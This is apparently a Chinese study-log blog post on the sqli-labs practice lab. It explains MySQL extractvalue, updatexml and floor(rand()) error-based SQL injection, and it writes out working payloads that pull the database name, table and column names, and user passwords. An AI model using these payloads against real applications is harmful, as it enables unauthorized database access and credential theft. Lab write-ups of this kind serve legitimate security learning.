当前位置: 首页 > news >正文

slq-labs日志

上次写了第五关的布尔盲注,和双查询报错注入,还有其他报错注入的方法

一.extractvalue函数

extractvalue函数

原理

extractvalue 是一个在 XML 数据中提取值的 MySQL 内置函数。它的语法为:
EXTRACTVALUE(xml, xpath_expr)xml 是 XML 字符串,xpath_expr 是 XPath 表达式,该函数会从 xml 参数中提取与 XPath 表达式匹配的节点值,并返回结果。如果找不到匹配的节点,则返回空字符串,如果 XPath 表达式匹配了多个节点,则只返回第一个匹配的节点的值。

eg假设有这个XML 数据:

<book>
  <title>MySQL Database Design and Tuning</title>
  <author>Robert D Schneider</author>
  <year>2005</year>
</book>

用 extractvalue 函数提取 title 节点的值:

SELECT EXTRACTVALUE('<book><title>MySQL Database Design and Tuning</title><author>Robert D Schneider</author><year>2005</year></book>', '//title');

执行结果:

MySQL Database Design and Tuning

实例

查库名

1' and extractvalue(1,concat(1,database())) %23

 '1' 表示在输入参数中添加一个条件,该条件与其他条件相互独立,用于生成一个新的查询结果。AND 连接符用于将新的条件与原有查询语句进行逻辑上的连接。extractvalue(1,concat(1,database())) 表示从 XML 数据中提取值,其中第一个参数为 1,表示要查询的 XML 数据,在这里没有实际作用;第二个参数为 concat(1,database()),表示将数字 1 和当前数据库名称拼接成一个字符串,然后使用 extractvalue 函数从该字符串中提取值,并将其添加到查询结果中。如果数据库名称不为空,则返回该名称,否则返回空字符串。回显库名security下图

 

查表名

1' union select 1,2, (updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),1)) %23

查列名

1' and extractvalue(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_name = 'users' and table_schema = 'security'))) %23

查字段

1' and extractvalue(1,concat(1,(select concat((select group_concat(username) from users), '~', (select group_concat(password) from users)) ) )) %23

由于extractvalue函数只能查询32位长度,导致结果缺失,改用limit查询

1' and extractvalue(1,concat(1,(select concat((select username from users limit 0,1), '~', (select password from users limit 0,1)) ) )) %23

 改一下0,1改成1,1 / 2,1/

 

 

 嘻嘻好像没啥用

updatexml函数

原理

updatexml 函数是 MySQL 数据库中用于修改 XML 格式数据的一个内置函数,语法如下

xml_target 表示要进行修改的 XML 数据;xpath_expr 表示要修改的节点路径;new_val 表示要修改成的新值。updatexml 函数的工作原理是将指定的 XML 数据解析为 DOM(文档对象模型) 文档树,并根据 xpath 表达式找到对应的节点,然后将该节点的内容替换为新值。如果节点不存在,则不进行任何操作。

实例

查库名

1' union select 1,2, (updatexml(1,concat(1,database()),1)) %23

UNION SELECT 1,2,(updatexml(1,concat(1,database()),1)) 表示使用 UNION 运算符将两个查询结果合并起来,同时将 updatexml 函数的结果添加到第二个 SELECT 查询中。

updatexml 函数用于修改 XML 数据中的内容,其中第一个参数为 1,表示要修改的 XML 数据,在这里没有实际作用;第二个参数为 concat(1,database()),表示将数字 1 和当前数据库名称拼接成一个字符串作为修改内容;第三个参数为 1,表示将修改后的结果写入 XML 数据中。

 

查表名

1' union select 1, count(*), concat((select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'), floor(rand(0)*2)) a from information_schema.tables group by a  %23

查列名

1' union select 1, count(*), concat((select concat(username,':',password) from users  limit 0,1), floor(rand(0)*2)) a from information_schema.tables group by a  %23

查字段

1' union select 1,2, (updatexml(1,concat(1,(select username from users limit 0, 1),1,(select password from users limit 0,1)),1)) %23

相关文章:

  • C++和标准库速成(十)——类型别名、类型定义、类型推断和标准库简介
  • HarmonyOS Next~鸿蒙系统功耗优化体系解析:前台交互与后台任务的全场景节能设计
  • AI Agent系列(七) -思维链(Chain of Thought,CoT)
  • 北斗导航 | 北斗三号区域短报文相关知识总结
  • 01. Linux嵌入式系统学习笔记(一)
  • 生物化学笔记:医学免疫学原理 免疫系统的组成与功能+克隆选择学说
  • Python 元组(tuple)大全
  • 什么是‘指差确认‘
  • deepseek使用记录25——当反思失效了
  • 零基础上手Python数据分析 (7):Python 面向对象编程初步
  • final、finally、finalize 有什么区别?
  • dify联网搜索如何限制在只在一个网站上搜索呢??
  • 【QA】QT中事件和信号的区别以及联系是什么?
  • Z世代的消费升级体现在哪些地方?
  • JavaScript | 爬虫逆向 | 掌握基础 | 01
  • Compose 实践与探索十六 —— 与传统的 View 系统混用
  • PageHelper插件依赖引入不报错,但用不了
  • S32K144入门笔记(十七):PDB的API函数解读
  • 多语言生成语言模型的少样本学习
  • C++代码3-多目标布谷鸟算法求解车辆路径规划算法
  • 新华时评:任凭风云变幻,中俄关系从容前行
  • 印巴冲突升级,巴防长称已击落5架印度战机
  • 潘功胜:降准0.5个百分点,降低政策利率0.1个百分点
  • 前瞻|中俄元首今年将首次面对面会晤,专家:国际变局中构建更坚韧的合作架构
  • 俄乌交换205名被俘人员,俄方人员已抵达白俄罗斯
  • 罗马尼亚临时总统博洛让任命普雷多尤为看守政府总理